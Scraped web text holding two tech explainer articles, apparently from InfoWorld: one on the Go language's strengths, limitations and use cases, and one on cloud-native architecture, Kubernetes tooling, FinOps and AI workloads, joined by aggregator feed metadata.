<p class="wp-block-paragraph">As a C-like language for building and maintaining cross-platform enterprise applications of all sorts, <a href="https://www.infoworld.com/article/2514123/8-reasons-developers-love-go-and-8-reasons-they-dont.html">Go has much in common with Java</a>. And as a means for enabling rapid development of code that might run anywhere, you could draw a parallel between Go and <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a>, though the differences outweigh the similarities.</p>



<p class="wp-block-paragraph">The <a href="https://go.dev/doc">Go documentation</a> describes Go as “a fast, statically typed, compiled language that feels like a dynamically typed, interpreted language.” Even a large Go program will compile in a matter of seconds. Plus, Go avoids much of the overhead of C-style include files and libraries.</p>



<h2 class="wp-block-heading">Advantages of the Go language</h2>



<p class="wp-block-paragraph">Go is a versatile, convenient, fast, portable, interoperable, and widely supported modern language. These characteristics have helped to make it a top choice for large-scale development projects. Let’s look more closely at each of these positive qualities of Go.</p>



<h3 class="wp-block-heading">Go is versatile and convenient</h3>



<p class="wp-block-paragraph">Go has been compared to interpreted languages like <a href="https://www.infoworld.com/article/2254260/how-to-get-started-with-python.html">Python</a> in its ability to satisfy many common programming needs. Some of this functionality is built into the language itself, such as goroutines for concurrency and thread-like behavior, while additional capabilities are available in Go standard library packages, like the <a href="https://golang.org/pkg/net/http/">http package</a>. Like Python, Go provides automatic memory management capabilities including <a href="https://www.infoworld.com/article/2337816/what-is-garbage-collection-automated-memory-management-for-your-programs.html">garbage collection</a>.</p>



<p class="wp-block-paragraph">Unlike interpreted languages, however, Go code compiles to a fast-running native binary. And unlike C or C++, Go compiles extremely fast—fast enough to make working with Go feel more like working with an interpreted language than a compiled one. Further, the Go build system is less complex than those of other compiled languages. It takes few steps and little bookkeeping to build and run a Go project.</p>



<h3 class="wp-block-heading">Go is faster than many other languages</h3>



<p class="wp-block-paragraph">Go binaries run more slowly than their C counterparts, but the difference in speed is negligible for most applications. Go performance is as good as C for the vast majority of work, and generally much faster than other languages known for speed of development—including <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a>, <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a>, and <a href="https://www.infoworld.com/article/2337962/whatever-happened-to-ruby.html">Ruby</a>.</p>



<h3 class="wp-block-heading">Go is portable and interoperable</h3>



<p class="wp-block-paragraph">Executables created with the Go toolchain can stand alone, with no default external dependencies. The Go toolchain is available for a wide variety of operating systems and hardware platforms, and can be used to compile binaries across platforms. What’s more, Go delivers all of the above without sacrificing access to the underlying system. Go programs can talk to external C libraries or make native system calls. In <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker</a>, for instance, Go interacts with low-level Linux functions, cgroups, and namespaces to work container magic.</p>



<h3 class="wp-block-heading">Go is widely supported</h3>



<p class="wp-block-paragraph">The Go toolchain is freely available as a Linux, macOS, or Windows binary, or as a Docker container. Go is included by default in many popular Linux distributions, such as Red Hat Enterprise Linux and Fedora, making it somewhat easier to deploy Go source to those platforms. Support for Go is also strong across many third-party development environments, from Microsoft’s <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> to ActiveState’s <a href="https://www.infoworld.com/article/2250631/review-7-python-ides-compared.html">Komodo IDE</a>.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/2514123/8-reasons-developers-love-go-and-8-reasons-they-dont.html">8 reasons developers love Go—and 8 reasons they don’t</a>.</strong></p>



<h2 class="wp-block-heading">Optimal use cases for the Go language</h2>



<p class="wp-block-paragraph">No language is suited to every job, but some languages are suited to more jobs than others. Go shines brightest in cloud-native development projects, distributed network services, and for developing utilities and stand-alone tools. Let’s consider the qualities that make Go especially well-suited to each of these project types.</p>



<h3 class="wp-block-heading">Cloud-native development</h3>



<p class="wp-block-paragraph">Go’s concurrency and networking features, and its high degree of portability, make it well-suited for building cloud-native apps. In fact, Go was used to build several cornerstones of cloud-native computing including <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a>, <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-your-next-application-platform.html">Kubernetes</a>, and <a href="https://www.infoworld.com/article/2258313/what-is-istio-the-kubernetes-service-mesh-explained.html">Istio</a>.</p>



<h3 class="wp-block-heading">Distributed network services</h3>



<p class="wp-block-paragraph">Network applications live and die by concurrency, and Go’s native concurrency features—<a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">goroutines</a> and <a href="https://www.infoworld.com/article/2255834/go-tutorial-get-started-with-google-go.html">channels</a>, mainly—are well suited for such work. Consequently, many Go projects are for networking, distributed functions, and cloud services. These include <a href="https://github.com/go-goyave/goyave">APIs</a>, <a href="https://github.com/mholt/caddy">web servers</a>, <a href="https://github.com/claygod/microservice">Kubernetes-ready frameworks for microservices</a>, and much more.</p>



<h3 class="wp-block-heading">Utilities and standalone tools</h3>



<p class="wp-block-paragraph">Go programs compile to binaries with minimal external dependencies. That makes them ideally suited to creating utilities and other tools, because they launch quickly and can be readily packaged up for redistribution. One example is an <a href="https://goteleport.com/">access server called Teleport</a>, which can be deployed on servers quickly by compiling it from source or downloading a prebuilt binary.</p>



<h2 class="wp-block-heading">Limitations of the Go language</h2>



<p class="wp-block-paragraph">Now let’s consider some of the limitations of Go. For one, it omits many language features developers may desire. It also packs everything into its binaries, so Go programs can be large. Furthermore, <a href="https://www.infoworld.com/article/4041753/go-language-previews-performance-boosting-garbage-collector.html">Go’s garbage collection mechanism</a> delivers automatic memory management at the cost of absolute performance. The language also lacks a standard toolkit for building GUIs, and it is unsuited to systems programming.</p>



<p class="wp-block-paragraph">Let’s look at each of these issues in detail.</p>



<h3 class="wp-block-heading">Go omits many desirable language features</h3>



<p class="wp-block-paragraph">Go’s opinionated set of features draws both praise and criticism. Go is designed to err on the side of being small and easy to understand, with certain features deliberately omitted. The result is that some features that are commonplace in other languages simply aren’t available in Go. This is purposeful, but it’s still a drawback for some types of projects.</p>



<p class="wp-block-paragraph">One thing Go omits that you will find in other languages is <em>macros</em>, commonly defined as the ability to generate program code at compile time. C, C++, and (the rising star) <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> all have macro systems. Go does not have macros, or at least not of the same variety as those languages. What Go does have is a tool command, <code>go generate</code>, which looks for magic comments in Go source and executes them. This can be used to generate Go source code, or even run other commands, but its main use is to programmatically generate code, usually as a precursor to the build process. (Technical blogger Eli Bendersky <a href="https://eli.thegreenplace.net/2021/a-comprehensive-guide-to-go-generate/">explains the ‘go generate’ command in detail</a>.)</p>



<p class="wp-block-paragraph">Another longstanding complaint with Go was, until recently, the lack of generic functions, which allow a function to accept many different types of variables. Go’s development team held out against adding generics to the language for many years because they wanted a syntax and set of behaviors that complemented the rest of Go. But as of <a href="https://tip.golang.org/doc/go1.18">Go 1.18</a>, released in early 2022, the language <a href="https://www.infoworld.com/article/2271612/get-started-with-generics-in-go.html">includes a syntax for generics</a>. Because <code>go generate</code> and its code-generation abilities emerged as one possible way to partially address the lack of generics, this functionality is no longer as commonly used in Go.</p>



<p class="wp-block-paragraph">The fact is that Go adds major language features rarely, and only after much consideration. This works to preserve broad compatibility across versions, but it comes at the cost of slower innovation.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3849417/what-you-need-to-know-about-go-rust-and-zig.html">What you need to know about Go, Rust, and Zig</a>.</strong></p>



<h3 class="wp-block-heading">Go’s binaries are large</h3>



<p class="wp-block-paragraph">Another potential downside to Go is the size of the generated binaries. Go binaries are statically compiled by default, meaning that everything needed at runtime is included in the binary image. This approach simplifies the build and deployment process, but at the cost of a simple “Hello, world!” weighing in at around 1.5MB on 64-bit Windows. The Go team has been <a href="https://blog.golang.org/go1.7-binary-size">working to reduce the size of those binaries</a> with each successive release. It is also possible to <a href="https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick/">shrink Go binaries with compression</a> or by <a href="https://jamescun.com/golang/binary-size/">removing Go’s debug information</a>. This last option may work better for standalone distributed apps than for cloud or network services, where having debug information is useful if a service fails in place.</p>



<h3 class="wp-block-heading">Go’s garbage collection is resource hungry</h3>



<p class="wp-block-paragraph">Yet another touted feature of Go, automatic memory management, can be seen as a drawback, as garbage collection requires a certain amount of processing overhead. By design, Go <a href="https://golang.org/doc/faq#garbage_collection">doesn’t provide manual memory management</a>, and garbage collection in Go has been criticized for not dealing well with the kinds of memory loads that appear in enterprise applications.</p>



<p class="wp-block-paragraph">That said, each new version of Go seems to improve the memory management features. For example, Go 1.8 brought <a href="https://golang.org/doc/go1.8#gc">significantly shorter lag times for garbage collection</a>, and <a href="https://www.infoworld.com/article/4041753/go-language-previews-performance-boosting-garbage-collector.html">Go 1.25</a> introduced a new, experimental garbage collector. While Go developers can use manual memory allocation in a C extension, or by way of a <a href="https://github.com/joetifa2003/mm-go">third-party manual memory management library</a>, most prefer native solutions.</p>



<h3 class="wp-block-heading">Go doesn’t have a standard GUI toolkit</h3>



<p class="wp-block-paragraph">Most Go applications are command-line tools or network services. That said, various projects are working to bring rich GUIs for Go applications. There are bindings for the <a href="https://mattn.github.io/go-gtk/">GTK</a> and <a href="https://github.com/gotk3/gotk3">GTK3</a> frameworks. Another project is intended to provide <a href="https://github.com/richardwilkes/unison">platform-native UIs</a> across platforms, although it focuses on Go 1.24 forward only. But no clear winner or safe long-term bet has emerged in this space. Also, because Go is platform-independent by design, it is unlikely any project in this vein will become a part of the standard package set.</p>



<h3 class="wp-block-heading">You shouldn’t use Go for systems programming</h3>



<p class="wp-block-paragraph">Finally, although Go can talk to native system functions, it was not designed for developing low-level system components such as kernels, device drivers, or embedded systems. After all, the Go runtime and the garbage collector for Go applications are dependent on the underlying operating system. (Developers interested in a cutting-edge language for that kind of work might look into using <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a>.)</p>



<h2 class="wp-block-heading">The future of the Go language</h2>



<p class="wp-block-paragraph">Go’s development is turning more toward the wants and needs of its developer base, with Go’s minders changing the language to better accommodate this audience rather than leading by stubborn example. A case in point is generics, which were finally added to the language after much deliberation about the best way to do so.</p>



<p class="wp-block-paragraph">The <a href="https://www.infoworld.com/article/2336812/go-language-shines-for-ai-powered-workloads-survey-says.html">2024 Go Developer Survey</a> found developers were overall satisfied with Go. Challenges that surfaced were generally due to the verbosity of error handling, missing or immature frameworks, and using Go’s type system—areas ripe for future development.</p>



<p class="wp-block-paragraph">Like most languages, Go has gravitated to a core set of use cases over time, finding its niche in network services. In the future, Go is likely to continue expanding its hold there. Other use cases cited in the developer survey include creating APIs or RPC services (74% of respondents), followed by CLI applications (63%), web services (45%), libraries/frameworks (44%), automation (39%), and data processing (37%). While only 4% of respondents mentioned using Go to develop <a href="https://www.infoworld.com/artificial-intelligence/">AI technologies</a>, those who did reported that <a href="https://www.infoworld.com/article/2336812/go-language-shines-for-ai-powered-workloads-survey-says.html">Go was a strong platform for running AI-powered workloads in production</a>. For those wanting to develop ML/AI with Go, lack of tooling (23%) and the fact that Python is the default choice for such work (16%) topped the reasons why.</p>



<p class="wp-block-paragraph">It remains to be seen how far Go’s speed and development simplicity will take it into other use cases, especially those dominated by other languages and their existing use cases. Rust covers <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">safe and fast systems programming</a> (a space Go is unlikely to enter); Python is still a common default for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">ML/AI, prototyping, automation, and glue code</a>; and Java remains a stalwart for <a href="https://www.infoworld.com/java">enterprise applications</a>.</p>



<p class="wp-block-paragraph">But Go’s future as a major programming language is already assured—certainly in the cloud, where the speed and simplicity of Go ease the development of scalable infrastructure that can be maintained over the long run.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3607388/go-language-evolving-for-future-hardware-ai-workloads.html">Go language evolving for future hardware, AI workloads</a>.</strong></p>
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<title><![CDATA[Cloud native explained: How to build scalable, resilient applications]]></title>
<description><![CDATA[What is cloud native? Cloud native defined



The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the speci...]]></description>
<link>https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665670/ai-nachrichten/cloud-native-explained-how-to-build-scalable-resilient-applications/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading"><strong>What is cloud native? Cloud native defined</strong></h2>



<p class="wp-block-paragraph">The term “cloud-native computing” encompasses the modern approach to building and running software applications that exploit the flexibility, scalability, and resilience of cloud computing. The phrase is a catch-all that encompasses not just the specific architecture choices and environments used to build applications for the public cloud, but also the software engineering techniques and philosophies used by cloud developers.</p>



<p class="wp-block-paragraph">The <a href="https://www.cncf.io/">Cloud Native Computing Foundation</a> (CNCF) is an open source organization that hosts many important cloud-related projects and helps set the tone for the world of cloud development. The CNCF offers its own definition of cloud native:</p>



<p class="wp-block-paragraph"><em>Cloud native practices empower organizations to develop, build, and deploy workloads in computing environments (public, private, hybrid cloud) to meet their organizational needs at scale in a programmatic and repeatable manner. It is characterized by loosely coupled systems that interoperate in a manner that is secure, resilient, manageable, sustainable, and observable.</em></p>



<p class="wp-block-paragraph"><em>Cloud native technologies and architectures typically consist of some combination of containers, service meshes, multi-tenancy, microservices, immutable infrastructure, serverless, and declarative APIs — this list is not exhaustive.</em></p>



<p class="wp-block-paragraph">This definition is a good start, but as cloud infrastructure becomes ubiquitous, the cloud native world is beginning to spread behind the core of this definition. We’ll explore that evolution as well, and look into the near future of cloud-native computing.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<h2 class="wp-block-heading"><strong>Cloud native architectural principles</strong></h2>



<p class="wp-block-paragraph">Let’s start by exploring the pillars of cloud-native architecture. Many of these technologies and techniques were considered innovative and even revolutionary when they hit the market over the past few decades, but now have become widely accepted across the software development landscape.</p>



<p class="wp-block-paragraph"><strong>Microservices. </strong>One of the huge cultural shifts that made cloud-native computing possible was the move from huge, monolithic applications to <a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">microservices</a>: small, loosely coupled, and independently deployable components that work together to form a cloud-native application. These microservices can be scaled across cloud environments, though (as we’ll see in a moment) this makes systems more complex.</p>



<p class="wp-block-paragraph"><strong>Containers and orchestration. </strong>In could-native architectures, individual microservices are executed inside <em>containers </em>— lightweight, portable virtual execution environments that can run on a variety of servers and cloud platforms. Containers insulate the developers from having to worry about the underlying machines on which their code will execute. That is, all they have to do is write to the container environment. </p>



<p class="wp-block-paragraph">Getting the containers to run properly and communicate with one another is where the complexity of cloud native computing starts to emerge. Initially, containers were created and managed by relatively simple platforms, the most common of which was <a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker</a>. But as cloud-native applications got more complex, container orchestration platforms<em> </em>that augmented Docker’s functionality emerged, such as Kubernetes, which allows you to deploy and manage multi-container applications at scale. Kubernetes is critical to cloud native computing as we know it — it’s worth noting that the CNCF was set up as a <a href="https://www.zdnet.com/article/cloud-native-computing-foundation-seeks-to-bring-more-cloud-and-container-unity/">spinoff of the Linux Foundation on the same day that Kubernetes 1.0 was announced</a> — and adhering to <a href="https://www.infoworld.com/article/2338688/6-best-practices-to-keep-kubernetes-costs-under-control.html">Kubernetes best practices</a> is an important key to cloud native success. </p>



<p class="wp-block-paragraph"><strong>Open standards and APIs. </strong>The fact that containers and cloud platforms are largely defined by open standards and <a href="https://www.infoworld.com/article/3800992/open-source-trends-for-2025-and-beyond.html">open source technologies</a> is the secret sauce that makes all this modularity and orchestration possible, and <a href="https://www.infoworld.com/article/3529600/how-do-you-govern-a-sprawling-disparate-api-portfolio.html">standardized and documented APIs </a>offer the means of communication between distributed components of a larger application. In theory, anyway, this standardization means that every component should be able to communicate with other components of an application without knowing about their inner workings, or about the inner workings of the various platform layers on which everything operates.</p>



<p class="wp-block-paragraph"><strong>DevOps, agile methodologies, and infrastructure as code. </strong>Because cloud-native applications exist as a series of small, discrete units of functionality, cloud-native teams can build and update them using agile philosophies like <a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">DevOps</a>, which promotes <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">rapid, iterative CI/CD development</a>. This enables teams to deliver business value more quickly and more reliably.</p>



<p class="wp-block-paragraph">The virtualized nature of cloud environments also make them great candidates for <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> (IaC), a practice in which teams use tools like <a href="https://developer.hashicorp.com/terraform/intro">Terraform</a>, <a href="https://www.pulumi.com/">Pulumi</a>, and <a href="https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/Welcome.html">AWS CloudFormation</a>, to manage infrastructure declaratively and version those declarations just like application code. IaC boosts automation, repeatability, and resilience across environments—all big advantages in the cloud world. IaC also goes hand-in-hand with the concept of <em>immutable infrastructure</em>—the idea that, once deployed, infastructure-level entities like virtual machines, containers, or network appliances don’t change, which makes them easier to manage and secure. IaC stores declarative configuration code in version control, which creates an audit log of any changes.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/04/5_things_cloud_native.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart listing five things to love and five things to fear when considiering cloud native" class="wp-image-3970036" width="1024" height="472" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>There’s a lot to love about cloud-native architectures, but there are also several things to be wary of when considering it.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<h2 class="wp-block-heading"><strong>How the cloud-native stack is expanding</strong></h2>



<p class="wp-block-paragraph">As cloud-native development becomes the norm, the cloud-native ecosystem is expanding; the CNCF maintains a graphical representation of what it calls the  <a href="https://landscape.cncf.io/">cloud native landscape</a> that hammers home to expansive and bewildering variety of products, services, and open source projects that contribute to (and seek to profit from) to cloud-native computing. And there are a number of areas where new and developing tools are complicating the picture sketched out by the pillars we discussed above.   </p>



<p class="wp-block-paragraph"><strong>An expanding Kubernetes ecosystem.</strong> <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes </a>is complex, and teams now rely on an <a href="https://www.infoworld.com/article/2265338/13-tools-that-make-kubernetes-better.html">entire ecosystem of projects </a>to get the most out of it: <a href="https://www.infoworld.com/article/2264445/helm-3-package-manager-arrives-for-kubernetes.html">Helm</a> for packaging, <a href="https://argo-cd.readthedocs.io/en/stable/">ArgoCD </a>for GitOps-style deployments, and <a href="https://kustomize.io/">Kustomize </a>for configuration management. And just as Kubernetes augmented Docker for enterprise-scale deployments. Kubernetes itself has been augmented and expanded by <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">service mesh</a> offerings like <a href="https://istio.io/">Istio </a>and <a href="https://linkerd.io/">Linkerd</a><strong>, </strong>which offer fine-grained traffic control and improved security</p>



<p class="wp-block-paragraph"><strong>Observability needs. </strong>The complex and distributed world of cloud-native computing requires in-depth <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a> to ensure that developers and admins have a handle on what’s happening with their applications. <a href="https://www.infoworld.com/article/2337343/what-observability-means-for-cloud-operations.html">Cloud-native observability</a> uses distributed tracing and aggregated logs to provide deep insight into performance and reliability. Tools like <a href="https://www.infoworld.com/article/2246709/prometheus-unbound-open-source-cloud-monitoring.html">Prometheus</a>, <a href="https://www.infoworld.com/article/2337267/grafana-shining-a-light-into-kubernetes-clusters.html">Grafana</a>, <a href="https://www.cncf.io/projects/jaeger/">Jaeger</a>, and <a href="https://opentelemetry.io/">OpenTelemetry</a> support comprehensive, real-time observability across the stack.</p>



<p class="wp-block-paragraph"><strong>Serverless computing.  </strong><a href="https://www.infoworld.com/article/2261831/what-is-serverless-serverless-computing-explained.html">Serverless computing</a>, particularly in its function-as-a-service guise, offers to strip needed compute resources down to their bare minimum, with functions running on service provider clouds using exactly as much as they need and no more. Because these services can be exposed as endpoints via APIs, they are increasingly integrated into distributed applications, operating side-by-side with functionality provided by containerized microservices. Watch out, though: the big FaaS providers (<a href="https://www.infoworld.com/article/2265860/aws-lambda-tutorial-get-started-with-serverless-computing.html">Amazon</a>, <a href="https://www.infoworld.com/article/2255377/how-to-work-with-azure-functions-in-csharp.html">Microsoft</a>, and <a href="https://www.infoworld.com/article/2243861/google-takes-aims-at-aws-lambda-with-cloud-functions.html">Google</a>) would love to lock you in to their ecosystems.  </p>



<p class="wp-block-paragraph"><strong>FinOps. </strong><a href="http://infoworld.com/article/2238873/what-is-cloud-computing.html">Cloud computing</a> was initially billed as a way to cut costs — no need to pay for an in-house data center that you barely use — but in practice it replaces capex with opex, and sometimes you can run up truly shocking cloud service bills if you aren’t careful. Serverless computing is one way to cut down on those costs, but financial operations, or <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a>, is a more systematic discipline that aims to aligns engineering, finance, and product to optimize cloud spending. <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">FinOps best practices</a> make use of those observability tools to best determine what departments and applications are eating up resources.</p>



<h2 class="wp-block-heading"><strong>How cloud-native architecture is adapting to AI workloads</strong></h2>



<p class="wp-block-paragraph">Enterprises deploy larger AI models and make use of more and more real-time inference services. That’s putting demands on cloud-native systems and forcing them to adapt to remain scalable and reliable.</p>



<p class="wp-block-paragraph">For instance, organizations are <a href="https://www.infoworld.com/article/4057189/the-rise-of-ai-ready-private-clouds.html">re-engineering cloud environments</a> around GPU-accelerated clusters, low-latency networking, and predictable orchestration. These needs align with established cloud-native patterns: containers package AI services consistently, while Kubernetes provides resilient scheduling and horizontal scale for inference workloads that can spike without warning.</p>



<p class="wp-block-paragraph">Kubernetes itself is <a href="https://www.infoworld.com/article/4045563/evolving-kubernetes-for-generative-ai-inference.html">changing to better support AI inference</a>, adding hardware-aware scheduling for GPUs, model-specific autoscaling behavior, and deeper observability into inference pipelines. These enhancements make Kubernetes a more natural platform for serving generative AI workloads.</p>



<p class="wp-block-paragraph">AI’s resource demands are amplifying traditional cloud-native challenges. Observability becomes more complex as inference paths span GPUs, CPUs, vector databases, and distributed storage. <a href="https://www.cio.com/article/416337/what-is-finops-your-guide-to-cloud-cost-management.html">FinOps</a> teams contend with cost volatility from training and inference bursts. And security teams must track new risks around model provenance, data access, and supply-chain integrity.</p>



<h2 class="wp-block-heading"><strong>Application frameworks for building distributed cloud-native apps</strong></h2>



<p class="wp-block-paragraph">Microsoft’s Aspire is one of the most visible examples of a shift towards application frameworks to simplify how teams build distributed systems. Opinionated frameworks like Aspire provide structure, observability, and integration out of the box so developer don’t need to stitch together containers, microservices, and orchestration tooling by hand.</p>



<p class="wp-block-paragraph">Aspire in particular is a <a href="https://www.infoworld.com/article/4023638/taking-net-aspire-for-a-spin.html">prescriptive framework for cloud-native applications</a>, bundling containerized services, environment configuration, health checks, and observability into a unified development model. Aspire provides defaults for service-to-service communication, configuration, and deployment, along with a built-in dashboard for visibility across distributed components.</p>



<p class="wp-block-paragraph">While Aspire was originally aligned with Microsoft’s .<a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">NET platform</a>,Redmond now sees it as having a<strong>  </strong><a href="https://www.infoworld.com/article/4085051/aspires-polyglot-future.html?utm_source=chatgpt.com">polyglot future</a>. This positions Aspire as part of a broader trend: frameworks that help teams build cloud-native, service-oriented systems without being locked into a single language ecosystem. Several other frameworks are gaining traction: Dapr provides a portable runtime that abstracts many of the plumbing tasks in cloud-native distributed applications, and Orleans offers an actor-model-based framework for large-scale systems in the .NET world, and Akka gives JVM teams a mature, reactive toolkit for elastic, resilient services.</p>



<h2 class="wp-block-heading"><strong>Frameworks and tools in the expanding cloud-native ecosystem</strong></h2>



<p class="wp-block-paragraph">While frameworks like Aspire simplify how developers compose and structure distributed applications, most cloud-native systems still depend on a broader ecosystem of platforms and operational tooling. This deeper layer is where much of the complexity—and innovation—of cloud-native computing lives, particularly as Kubernetes continues to serve as the industry’s control plane for modern infrastructure.</p>



<p class="wp-block-paragraph">Kubernetes provides the core abstractions for deploying and orchestrating containerized workloads at scale. Managed distributions such as Google Kubernetes Engine (GKE), Amazon EKS, <a href="https://www.infoworld.com/article/4058764/smoother-kubernetes-sailing-with-aks-automatic.html">Azure AKS</a>, and Red Hat OpenShift build on these primitives with security, lifecycle automation, and enterprise support. Platform vendors are increasingly automating cluster operations—upgrades, scaling, remediation—to reduce the operational burden on engineering teams.</p>



<p class="wp-block-paragraph">Surrounding Kubernetes is a rapidly expanding ecosystem of complementary frameworks and tools. <a href="https://www.infoworld.com/article/2261159/what-is-a-service-mesh-easier-container-networking.html">Service meshes</a> like Istio and Linkerd provide fine-grained traffic management, policy enforcement, and mTLS-based security across microservices. <a href="https://www.infoworld.com/article/2259088/what-is-gitops-extending-devops-to-kubernetes-and-beyond.html">GitOps</a> platforms such as Argo CD and Flux bring declarative, version-controlled deployments to cloud-native environments. Meanwhile, projects like Crossplane turn Kubernetes into a universal control plane for cloud infrastructure, letting teams provision databases, queues, and storage through familiar Kubernetes APIs. These tools illustrate how cloud-native development now spans multiple layers: developer-focused application frameworks like Aspire at the top, and a powerful, evolving Kubernetes ecosystem underneath that keeps modern distributed applications running.</p>



<h2 class="wp-block-heading"><strong>Advantages and challenges for cloud-native development</strong></h2>



<p class="wp-block-paragraph">Cloud native has become so ubiquitous that its advantages are almost taken for granted at this point, but it’s worth reflecting on the beneficial shift the cloud native paradigm represents. Huge, monolithic codebases that saw updates rolled out once every couple of years have been replaced by microservice-based applications that can be improved continuously. Cloud-based deployments, when managed correctly, make better use of compute resources and allow companies to offer their products as SaaS or PaaS services. </p>



<p class="wp-block-paragraph">But <a href="https://www.infoworld.com/article/2337882/the-downsides-of-cloud-native-solutions.html">cloud-native deployments come with a number of challenges</a>, too:</p>



<ul class="wp-block-list">
<li><strong>Complexity and operational overhead: </strong>You’ll have noticed by now that many of the cloud-native tools we’ve discussed, like service meshes and observability tools, are needed to deal with the complexity of cloud-native applications and environments. Individual microservices are deceptively simple, but coordinating them all in a distributed environment is a big lift.</li>



<li><strong>Security: </strong>More services executing on more machines, communicating by open APIs, all adds up to a bigger attack surface for hackers. <a href="https://www.csoonline.com/article/572501/managing-container-vulnerability-risks-tools-and-best-practices.html">Containers</a> and <a href="https://www.csoonline.com/article/3618243/securing-cloud-native-applications-why-a-comprehensive-api-security-strategy-is-essential.html">APIs</a> each have their own special security needs, and a <a href="https://www.infoworld.com/article/2259477/open-policy-agent-a-general-purpose-policy-engine-for-cloud-native.html">policy engine</a> can be an important tool for imposing a security baseline on a sprawling cloud-native app. <a href="https://www.csoonline.com/article/564095/what-is-devsecops-developing-more-secure-applications.html">DevSecOps</a>, which adds security to DevOps, has become an important cloud-native development practice to try to close these gaps.</li>



<li><strong>Vendor lock-in: </strong>This may come as a surprise, since cloud-native is based on open standards and open source. But there are differences in how the big cloud and serverless providers works, and once you’ve written code with one provider in mind, <a href="https://www.infoworld.com/article/2337012/get-used-to-cloud-vendor-lock-in.html">it can be hard to migrate elsewhere</a>.</li>



<li><strong>A persistent skills gap: </strong>Cloud-native computing and development may have years under its belt at this point, but the number of developers who are truly skilled in this arena is a smaller portion of the workforce than you’d think. Companies <a href="https://www.infoworld.com/article/3484912/a-strategic-road-map-for-navigating-the-cloud-skills-shortage.html">face difficult choices in bridging this skills gap</a>, whether that’s bidding up salaries, working to upskill current workers, or allowing remote work so they can cast a wide net. </li>
</ul>



<h2 class="wp-block-heading">Cloud native in the real world</h2>



<p class="wp-block-paragraph">Cloud native computing is often associated with giants like Netflix, Spotify, Uber, and AirBNB, where many of its technologies were pioneered in the early ’10s. But the CNCF’s <a href="https://www.cncf.io/case-studies/">Case Studies page</a> provides an in-depth look at how cloud native technologies are helping companies. Examples include the following:</p>



<ul class="wp-block-list">
<li>A UK-based payment technology company that can <a href="https://www.cncf.io/case-studies/form3/">switch between data centers and clouds</a> with zero downtime</li>



<li>A software company whose product collects and analyzes data from IoT devices — and can <a href="https://www.cncf.io/case-studies/tempestive/">scale up</a> as the number of gadgets grows</li>



<li>A Czech web service company that managed to <a href="https://www.cncf.io/case-studies/seznam/">improve performance while reducing costs</a> by migrating to the cloud</li>
</ul>



<p class="wp-block-paragraph">Cloud-native infrastructure’s capability to quickly scale up to large workloads also make it an attractive platform for developing AI/ML applications: another one of those CNCF case studies looks at how IBM uses Kubernetes to <a href="https://www.cncf.io/case-studies/ibmwatsonxassistant/">train its Watsonx assistant</a>. The big three providers are putting a lot of effort into pitching their platforms as the place for you to develop your own generative AI tools, with offerings like <a href="https://www.infoworld.com/article/3608598/microsoft-rebrands-azure-ai-studio-to-azure-ai-foundry.html">Azure AI Foundry,</a><a href="https://www.infoworld.com/article/3959648/google-unveils-firebase-studio-for-ai-app-development.html">Google Firebase Studio</a>, and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Amazon Bedrock</a>. It seems clear that cloud native technology is ready for what comes next.</p>



<h2 class="wp-block-heading">Learn more about related cloud-native technologies:</h2>



<ul class="wp-block-list">
